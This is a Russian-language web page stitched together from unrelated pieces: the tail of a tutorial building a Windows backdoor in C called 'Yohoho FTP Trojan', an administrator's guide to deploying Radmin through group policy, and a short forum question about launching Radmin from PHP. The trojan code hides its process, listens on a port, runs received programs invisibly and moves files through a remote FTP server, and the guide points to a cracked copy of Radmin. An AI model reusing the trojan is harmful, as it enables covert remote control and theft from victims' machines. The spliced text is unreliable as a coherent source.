/* заголовки WinInet сеансов */
HINTERNET inet;
HINTERNET inet2;
/* буффер для хранения поступивших команд */
char buff[1];
/* переменная, по которой мы будем определять, соединены мы с FTP сервером или нет */
bool connected;
/*  сокет, через который будет идти общение с клиентом*/
SOCKET s1;
/* эти структуры необходимы для работу нескольких системных вызовов WinSocket */
SOCKADDR_IN from;
SOCKADDR_IN sin;

С переменными пока всё. Теперь будем писать основу проги, так что добавь к коду вот это:

int APIENTRY WinMain(HINSTANCE hInstance,
                     HINSTANCE hPrevInstance,
                     LPSTR     lpCmdLine,
                     int       nCmdShow)
{

}

Прежде чем будем писать остальное, надо бы подумать о защите от любопытных глаз или CTRL-ALT-DEL. 
Это делается функцией RegisterServiceProcess из библиотеки kernel32.dll. 
Эта функция зарегистрирует нашу прогу как безобидный скринсейвер. 
Добавь к коду это:

	/* поключаем библиотеку */
	HINSTANCE hLib = LoadLibrary("kernel32.dll");	
	/* объявляем прототип функции */
	int (*RegisterServiceProcess)(DWORD dwProcessID, DWORD state);
	/* получаем адрес этой функции */
	(FARPROC &)RegisterServiceProcess = GetProcAddress(hLib, "RegisterServiceProcess");
	/* и делаем вызов этой функции */
	_asm{
		push 0
		push 1
		call RegisterServiceProcess
	}

Так, теперь приступим к остальному, а именно к работе с сокетами:

	/* стартуем Winsock 1.1 */
	WSAStartup(0x0101, &wsa);
	/* инициализируем сокет */
	s = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
	/* указываем семейство протоколов */
	sin.sin_family = AF_INET;
	/* порт для работы */
	sin.sin_port = htons(1025);
	/* указываем адрес сети */
	sin.sin_addr.s_addr = INADDR_ANY;
	/* определяем локальный канал для связи с сетью */
	bind( s, (LPSOCKADDR)&sin, sizeof(sin) );
	/* слушаем порт */
	listen( s, SOMAXCONN);
	/* определяем размер структуры с информацией о клиенте */
	int fromlen=sizeof(from);
	/* принимаем клиента но уже на другой сокет */
	s1 = accept(s,(struct sockaddr*)&from, &fromlen);
	/* открыть сеанс работы с Инетом */
	inet = InternetOpen("Yohoho FTP Trojan", INTERNET_OPEN_TYPE_DIRECT, "", "", 0); 

Ну чтож, соединение мы установили, сейчас будем команды принимать:

while(recv(s1,buff,sizeof(buff),0)!=SOCKET_ERROR)
	{ 
	}

Для особо одарённых объясняю: пока клиент не отключится принимаем команды в переменную buff.
Ну а теперь собственно команды:

while(recv(s1,buff,sizeof(buff),0)!=SOCKET_ERROR)
	{ 
		/* Команда на аплоад.  */
		if(buff[0] == 'a'){
			/* получаем имя приложения */
			recv(s1, temp, 32, 0);
			if(connected){
				if(!FtpPutFile(inet2, temp,temp, 0,0)){
					send(s1, "Upload Failed", 13, 0);
				}else{
					send(s1, "Upload Completed", 16, 0);
				}
			}else{
				send(s1, "Hey! You are not connected to FTP server!", 41, 0);
			}
		/* Команда на скачивание */
		if(buff[0] == 'b'){
			/* получаем имя фала */
			recv(s1,temp, 32, 0);
			if(connected){
				if(!FtpGetFile(inet2, temp, temp,0,true, FTP_TRANSFER_TYPE_BINARY, 0))
				{
					send(s1, "Download Failed", 15, 0);
				}
				else{
					send(s1, "Download Completed", 18,0);
				}
			}else{
				send(s1, "Hey! You are not connected to FTP server!", 41, 0);
			}
		}
		/* Выполняем скрытно приложение (без показа окна программы) */		
		if(buff[0] == 'c'){
			/* получаем имя приложения */
			recv(s1, temp, 255, 0);
			WinExec(temp, SW_HIDE);
		}
		/* Тоже самое, но уже с окном */
		if(buff[0] == 'd'){
			/* получаем имя приложения */
			recv(s1, temp, 255, 0);
			WinExec(temp, SW_SHOW);
		}
		if(buff[0] == 'e'){
			/* получаем урл сервера*/
			recv(s1, temp, 255,0);
			/* получаем логин */
			recv(s1, temp2, 32,0);
			/* получаем пассворд */
			recv(s1, temp3, 32,0);
			/* коннектимся */
			inet2 = InternetConnect(inet,temp,INTERNET_DEFAULT_FTP_PORT,
			temp2,temp3,INTERNET_SERVICE_FTP, 0,0);

			if(inet2){
				connected = true;
			}else{
				send(s1, "Connect Failed",14, 0);
			}
		}
	}

Вроде и всё.... СТОП! Вот конец проги:

	closesocket(s);
	closesocket(s1);
	return 0;

Теперь всё! Компилируй и запускай.... Если не получается - подумай, как сделать чтобы пахало!

Клиент можно самому написать, благо архитектура простая. Будут вопросы мыльте.

Идея написать эту статью появилась у меня достаточно давно, но по причине исконно русской лени, руки дошли только сейчас. Когда я начинал администрировать достаточно большие и распределенные сети возник вопрос поддержки пользователей, а эти товарищи такие ку, что если не иметь средств удаленного администрирования, то за день можно пробежать неплохой марафон. Для решения данной проблемы отлично подходит очень широко распространенный и известный даже людям далеким от админской профессии  инструмент под названием Radmin. Далее, я опишу свой опыт установки и настройки радмина в домен w2k3 70+ компьютеров. Все нижесказанное так же подходит и для w2k8 с небольшими коррективами, но примеры будут именно под w2k3 ввиду моего закостенелого консерватизма и ретроградства.

Прежде всего охота заметить, что бегать и вручную устанавливать ПО на каждый компьютер никто не будет, для этого воспользуемся такой прекрасной вещью как групповые политики (GPO). Заходим на контроллер домена под учетной записью администратора и открываем оснастку Управление групповыми политиками (для этого в диалоге выполнить вводим gpmc.msc если кто не знает). Если оснастка управление групповыми политиками у вас не установлена крайне рекомендую скачать её с сайта Microsoft.

Создание групповой политики

Для создания групповой политики установки Radmin выберите контейнер с компьютерами на которые необходимо установить Radmin и в конткстном меню выберите пункт Create and Link GPO here. (Создать и прикрепить групповую политику тут).

Назовите новый объект групповой политики, например, Radmin Install.

Редактор объектов групповой политики

В новом объекте групповой политики, выберите Конфигурация компьютера -> Конфигурация программ -> Установка программ -> Создать -> Пакет

Предварительно, создайте сетевой ресурс доступный для всех компьютеров домена. Важно, правильно установить разрешения доступа, что бы ресурс был доступен для компьютеров на момент выполнения политики. Для этого группе «прошедшие проверку» добавите разрешения чтение и выполнения в безопасности windows. Стоит помнить,  из сетевых разрешения и разрешений NTFS выбирается наиболее строгое. Не забудьте скопировать установочные файлы Radmin на сетевой ресурс. У меня это файл rserv34ru.msi. Я использую предварительно вылеченную от жадности версию, выложил её на рапиду если кому необходима.

Еще один нюанс, при создание установочного пакета, выбирайте сетевой а не файловый путь, с файловым путем GPO по понятным причинам работать не будет.

Метод развертывания Назначенный.

Объект групповой политики

Вот мы и создали объект групповой политики для централизованной установки Radmin Server 3.4 теперь при следущей перезагрузки рабочих станций, на них будет установлен Radmin, если, по каким-то причинам политика не выполниться, эти причины всегда можно узнать в журнале событий.

Но, это еще не всё, недостаточно просто установить Radmin, необходимо еще настроить разрешения, что бы те администраторы, которым положено, могли подключатся к компьютерам при помощи Radmin viewer. Сейчас при попытки подключения, нас будет запрашивать логин и пароль,что не есть хорошо.

Перейдем к самому интересному, настройке разрешений. Для этого, нам понадобиться, рабочая станция подключенная к домену на которую установлен вышеописанным способом Radmin Server. (можно вручную установить радмин сервер на свой компьютер, главное что бы он был в домене)

Итак, пуск->все программы->radmin server 3->Настройки Radmin Server. В окне Настройки Radmin Server нажимаем права доступа, на остальных опциях я останавливаться не буду, там всё предельно ясно.

Права доступа Radmin

Ставим галочку Windows NT, нажимаем кнопку Права доступа. В окне разрешения для группы Radmin Server, выбираем тех пользователей и/или группы который будут иметь доступ для администрирования компьютеров в нашем домене. После чего, сохраняемся и закрываем окно настроек.

Теперь, необходимо распространить эти настройки на все компьютеры с установленным радмином. Для этого, понадобиться редактор реестра. Пуск->Выполнить->Regedit. Радмин, хранит свои настройки в ключе «HKEY_LOCAL_MACHINESOFTWARERAdminv3.0Server». Прежде всего нас интересует информация о разрешениях, так что, экспортируем этот ключ в файл reg и на основе этого файла создаем скрипт, следующего содержания.

chcp 866

reg add "HKEY_LOCAL_MACHINESOFTWARERAdminv3.0Server" /v "HackRemoveIcon" /t "REG_SZ" /d "1" /f

reg add "HKEY_LOCAL_MACHINESOFTWARERAdminv3.0ServerParameters" /v "NTAuthEnabled" /t "REG_BINARY" /d "01000000" /f

reg add "HKEY_LOCAL_MACHINESOFTWARERAdminv3.0ServerParametersNtUsers" /v "1" /t "REG_BINARY" /d "0000002400000000ff0100000106425362452562456a28b9d7aa510a436bf8410500000000002400000000ff01000001050000000000051500000027a5fa28b9d7aa510a436bf88b040000" /f

rmdir "C:Documents and SettingsAll Usersѓ« ў­®Ґ ¬Ґ­оЏа®Ја ¬¬лRadmin Server 3.0" /q /s

Осталось дело за малым, запустить этот скрипт на всех компьютерах где у нас установлен Radmin.

Для этого, можно создать новый (или воспользоваться уже существующим) объект групповой политики, перейти в Конфигурация компьютера-> конфигурация Windows-> Сценарии(Запуск/Завершение)  и добавить наш скрипт в качестве сценария автозагрузки.

После чего, при следующий перезагрузки рабочих станций, необходимые права доступа будут прописаны у них в реестре и администратор, сможет беспрепятственно подключаться и помогать пользователям в нелегком деле освоения ПК.

Надеюсь это статья будет полезна, жду ваших отзывов, комментарий, предложений и вопросов.

php

  • PHP

  • Сетевое администрирование

  • Radmin

Здравствуйте коллеги.
Как запустить радмин из php передав радмину ip адрес компьютера из базы?


  • Вопрос задан

    более трёх лет назад

  • 155 просмотров


Комментировать

Пригласить эксперта


Ответы на вопрос 2

  • Предварительно выставив параметр allow_url_include = Off в On?

  • martin74ua

POS_troi

  • Выполнить из php такой код Radmin.exe /connect:IP_ADDRESS_PC:4899

  • Jump

    Арсланали: В чем сложность?
    Формируете в пхп строку, и отдаете ее на выполнение системе.


Похожие вопросы


  • Показать ещё
    Загружается…

04 мар. 2023, в 09:53

10000 руб./за проект

04 мар. 2023, в 09:46

10000 руб./за проект

04 мар. 2023, в 09:33

10000 руб./за проект

Минуточку внимания

Понравилась статья? Поделить с друзьями:
  • Как написать свой протокол передачи данных
  • Как написать свой учебник английского
  • Как написать свой прокси сервер
  • Как написать свой тренинг
  • Как написать свой проводник